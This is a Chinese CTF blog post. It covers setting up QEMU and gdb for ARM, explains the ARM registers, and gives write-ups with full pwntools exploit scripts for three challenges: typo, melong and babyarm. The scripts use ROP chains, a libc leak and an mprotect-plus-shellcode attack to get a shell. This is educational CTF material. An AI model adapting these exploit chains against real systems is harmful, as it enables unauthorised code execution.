arm的环境搭建+简单的例题

关于arm的东西我好像已经拖了将近一个月了,不能再拖下去了,先记一些吧,之后我陆续补坑看看

arm环境搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#安装qemu
apt-get install qemu
#更新一下
sudo apt-get update
#安装32位的依赖库
sudo apt-get install -y gcc-arm-linux-gnueabi
#运行32位的动态链接程序方法
qemu-arm -L /usr/arm-linux-gnueabi ./文件
#安装64位的依赖库
sudo apt-get install -y gcc-aarch64-linux-gnu g++-aarch64-linux-gnu
#运行64位的动态链接程序方法
qemu-aarch64 -L /usr/aarch64-linux-gnu ./文件
#安装gdb调试工具
sudo apt-get install git gdb gdb-multiarch

32位的调试步骤:

1
2
3
4
5
6
7
8
9
10
11
#运行32位的动态链接程序方法
qemu-arm -L /usr/arm-linux-gnueabi ./文件

#32位程序下断调试步骤
1: qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./文件(窗口1)
2: qemu-arm-static -g 1234 ./文件(窗口1)

gdb-multiarch ./文件(窗口2)
pwndbg> target remote :1234
pwndbg> b *0x8bb0
pwndbg> c

64位的调试步骤:

1
2
3
4
5
6
7
8
#运行64位的动态链接程序方法
qemu-aarch64 -L /usr/aarch64-linux-gnu ./文件
#64位程序下断调试步骤
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./文件(窗口1)
gdb-multiarch ./文件(窗口2)
pwndbg> target remote :1234
pwndbg> b *0x8bb0
pwndbg> c

起qemu的那个虚拟机

(上面那些命令行好像更方便一点,这个的话可能每次打题都要起一次)

1
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic,macaddr=52:54:00:12:34:56 -net tap -nographic

架构下的寄存器

64位的寄存器

1
2
3
4
5
6
7
8
9
x0~x7:传递子程序的参数和返回值,使用时不需要保存,多余的参数用堆栈传递,64位的返回结果保存在x0中。
x8:用于保存子程序的返回地址,使用时不需要保存。
x9~x15:临时寄存器,也叫可变寄存器,子程序使用时不需要保存。
x16~x17:子程序内部调用寄存器(IPx),使用时不需要保存,尽量不要使用。
x18:平台寄存器,它的使用与平台相关,尽量不要使用。
x19~x28:临时寄存器,子程序使用时必须保存。
x29:帧指针寄存器(FP),用于连接栈帧,使用时必须保存。
x30:链接寄存器(LR),用于保存子程序的返回地址。
x31:堆栈指针寄存器(SP),用于指向每个函数的栈顶。

32位的寄存器

1
2
3
4
5
6
r0-r3: 用于函数调用入参,32位最多支持4个入参,当多于4个入参是将通过压栈方式进行传递。栈的方式为先进后出,估参数大于4个时 入栈顺序与参数顺序正好相反,子程序返回前无需回复R0~R3的值,32位的返回结果保存在r0中。
r4-r11: 用于保存局部变量。函数进入后首先第一件事就是将R4~R11入栈保存(看局部变量用了多少个,不一定所有都需要入栈),然后才能用于本函数使用,本函数使用完之后,要将之前栈保存的数据恢复到R4~R11中
r7: 系统调用时,存放系统调用号,有时也用于作为FP使用。FP又叫frame pointer即栈基指针,主要在函数中保存当前函数的栈起始位置,用于堆栈回溯。
r13: SP,即栈指针寄存器,主要用于指向当前程序栈顶,配合指令pop/push等。
r14: LR,即链接寄存器,主要用于存放函数的返回地址,即当前函数返回时,知道自己该回到哪儿去继续运行。
r15: PC,即程序寄存器,主要用于存放CPU取指的地址。是取值地址,不是当前运行地址。

arm的简单例题

32位简单的arm

typo

就是道很简单的ret2text
用命令行先连上qume和gdb,让它跑起来

然后就可以调了
我们在gdb里生成字符串,自己输的话,计算长度可能会出bug
调出长度之后就去找程序有没有system(‘/bin/sh’)
这个东西去了函数符号表,我不会那个rizzo的恢复,所以直接找字符’/bin/sh’


会发现它在一个函数里
这个长得就很像execve,f5进去看一下


然后这个名字就很像了,再加上系统调用号也出来了
(经大佬指点才知道arm32中系统调用号是在r7里的)
点开汇编,发现它确实是

然后我们就用syscall来做这题吧
syscall要用的话,肯定是要r1、 r2的参数都得为null的
所以我们去找gadget

r0的就只有一个,然后还有相关的r1和r7都能对应找到
唯独发现没有pop r2的gadget,所以我们考虑一下xor或者是mov(xor好像在arm里没有)

这里面对r2有赋值为零的gadget,我们可以用一波,但事实它还自带三个pop,为了堆栈平衡,我们就还得填充三个0
差不多就可以写exp了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import sys
context.log_level = "debug"

if sys.argv[1] == "l":
io = process("./typo", timeout = 2)
elif sys.argv[1] == "d":
io = process(["qemu-arm", "-g", "1234", "./typo"])
else:
io = remote("pwn2.jarvisoj.com", 9888, timeout = 2)

mov_r2 = 0x0004df00 #mov r2, #0 ; mov r0, r2 ; pop {r3, r4, r5, pc}
syscall = 0x0002165C
pop_r3_r7 =0x0000a958
pop_r0_r4 = 0x00020904 #pop {r0, r4, pc}
pop_r1 = 0x00068bec
pop_r7 = 0x00014068#0x00008160
binsh = 0x0006c384

payload = 'a'*112
payload += p32(mov_r2)
payload += p32(0)+p32(0)+p32(0)
payload += p32(pop_r0_r4)
payload += p32(binsh)+p32(0)
payload += p32(pop_r7)+p32(0xb)
payload += p32(pop_r1)+p32(0)
payload += p32(syscall)
# r0->binsh r1,r2->0 arm的系统调用号存在r7
# io.sendline('\n')
io.sendlineafter("if you want to quit\n", '\n')
io.sendline(payload)
io.interactive()

然后我碰到一个很难受的bug,本地加了context.log_level = “debug”是能跑通的,但是不加就不行了,为啥呢,害,到时候再探究探究

melong(arm32位)

这题是个 简单的栈题,我被难倒的地方是offset到底是什么
这题的栈溢出存在于write那个函数里的read
用-1绕过len,使我们可以输入很多的东西,可以构造rop链

write函数里面长这样,我们到出去看a2是什么


发现是v4,去找他的偏移,发现是0x54,就一般在我的印象里,偏移应该是ebp+0x54,所以应该再加一个4的,但是看了很多exp都是用的0x54

发现我们需要覆盖到dd4的地方 r11(d14->exid即下一个函数的地址存放处)而开始覆盖是在d80,offset为84 即 0x54(但是我并没有在ida里找到那段代码)

这个是我写入100个字符之后,触发exit之后报错之后,计算出来的 偏移,就是0x54,这题也确实比较独特,ida里的偏移果然不一定是对的

然后用put的方法leak的话呢,本来以为会比较快捷方便一点,但是这里最想不到的是,进入了puts函数之后,结尾时会否存在pop,pc又在哪里赋值,在傻傻地用正常栈的方法试了一遍发现不行,选择跟进去看看puts里面的玄机

发现在末尾它有一个pop

所以要想回到主函数还要填充些值进寄存器里

exp大概就如下了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/python
# -*- coding: utf-8 -*-

from pwn import *
context.log_level ='DEBUG'
import sys
context.binary = "./melong"

if sys.argv[1] == "r":
p = remote("localhost", 9999)
elif sys.argv[1] == "l":
p = process(["qemu-arm", "-L", "./", "./melong"])
else:
p = process(["qemu-arm", "-g", "1234", "-L", "./", "./melong"])


elf = ELF("./melong", checksec = False)
libc = ELF("./lib/libc.so.6", checksec = False)

def check(height,weight):
p.sendlineafter("number:","1")
p.sendlineafter("height(meters) :",str(height))
p.sendlineafter("weight(kilograms) :",str(weight))

def exercise():
p.sendlineafter("number:","2")


def register(num):
p.sendlineafter("number:","3")
p.sendlineafter("training?",str(num))

def write(content):
p.sendlineafter("number:","4")
# p.sendlineafter('\n',content)
p.send(content)


def out():
p.sendlineafter("number:","6")

pop = 0x00011bbc
check(1.58,49.8)
register(-1)

payload = 'a'*0x54+p32(pop) + p32(elf.got['puts']) + p32(elf.sym['puts']) +p32(0)*7+p32(elf.sym['main'])


write(payload)
out()
p.recvuntil("See you again :)\n")

put_addr = u32(p.recvn(4))
print hex(put_addr)

libc.address = put_addr - libc.sym['puts']
print hex(libc.address)



check(1.58,49.8)
register(-1)

pay = "a"*0x54 + p32(pop) + p32(next(libc.search("/bin/sh"))) + p32(libc.sym['system'])

write(pay)
out()
p.interactive()

64位简单题

2018 上海大学生网络安全大赛 babyarm

开了nx

一眼看到了mprotect函数,一般呢有它就是改权限然后写shellcode了,上一次用这个好像是level5,emmmm碰巧这题好像也可以用这个方法做,听说是有三个参数的函数要调用和写参的话就用csu这种方法比较简单

我们知道这个题目有两层输入,第一层是不存在溢出的,第二处才存在,所以我们在第二处用csu的方法再调用回存储第一处输入的位置
所以我们找一下万能gadget

我们发现mprotect的几个参数传递过程如下

mprotect是从0x411000开始的,题目中输入的地址为0x411068,所以可以让mprotect来改权限(这题好像和oj leve5不一样的是它不需要借助bss段了

关于gadget的传参

1
2
3
4
5
6
7
8
9
ret     跳转到 x30 寄存器,一般在函数的末尾会恢复函数的返回地址到 x30 寄存器

ldp x19, x20, [sp, #0x10] 从 sp+0x10 的位置读 0x10 字节,按顺序放入 x19, x20 寄存器

ldp x29, x30, [sp], #0x40 从 sp 的位置读 0x10 字节,按顺序放入 x29, x30 寄存器,然后 sp += 0x40

MOV X1, X0 寄存器X0的值传给X1

blr x3 跳转到由Xm目标寄存器指定的地址处,同时将下一条指令存放到X30寄存器中

所以x29和x30会在x19和x20前面布置
x30是存放下一个执行的地址,相当于ebp吧
pc相当于rdi
所以我们布置rop:

1
2
3
4
5
6
7
8
9
10
11
12
payload = 'a'*72 
payload += p64(0x04008cc)
payload += p64(0) #x29
payload += p64(0x04008ac) #x30 ret->next pc
payload += p64(0) #19
payload += p64(0) #20
payload += p64(bss) #21 mprotect_addr
payload += p64(0x7) #22 x2
payload += p64(0x1000) #23 x1
payload += p64(0x411000) #24 x0
payload += p64(0) #next x29
payload += p64(bss+0x10) #next x30

先布置完cc处的栈,然后跳回ac里执行mprotect,会再执行一遍cc,我们覆盖x30的内容为我们想它跳到的地址即可

完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import sys
context.binary = "./pwn"
context.log_level = "debug"

if sys.argv[1] == "l":
p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./pwn"])
elif sys.argv[1] == "d":
p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu", "./pwn"])
else:
p = remote("106.75.126.171", 33865)


bss = 0x00411068
call_mprotect = 0x0400600
shellcode = asm(shellcraft.execve("/bin/sh"))

p.recvuntil("Name:")
pay = p64(0x04007e0) #call_mprotect
pay += p64(0)
pay += shellcode #must in addr+0x10
p.sendline(pay)


payload = 'a'*72
payload += p64(0x04008cc)
payload += p64(0) #x29
payload += p64(0x04008ac) #x30 ret->next pc
payload += p64(0) #19
payload += p64(0) #20
payload += p64(bss) #21 mprotect
payload += p64(0x7) #22 x2
payload += p64(0x1000) #23 x1
payload += p64(0x411000) #24 x0
payload += p64(0) #next x29?
payload += p64(bss+0x10) #next x30
sleep(0.5)
p.sendline(payload)
p.interactive()

参考链接:
V1ct0r师傅
zs0zrc师傅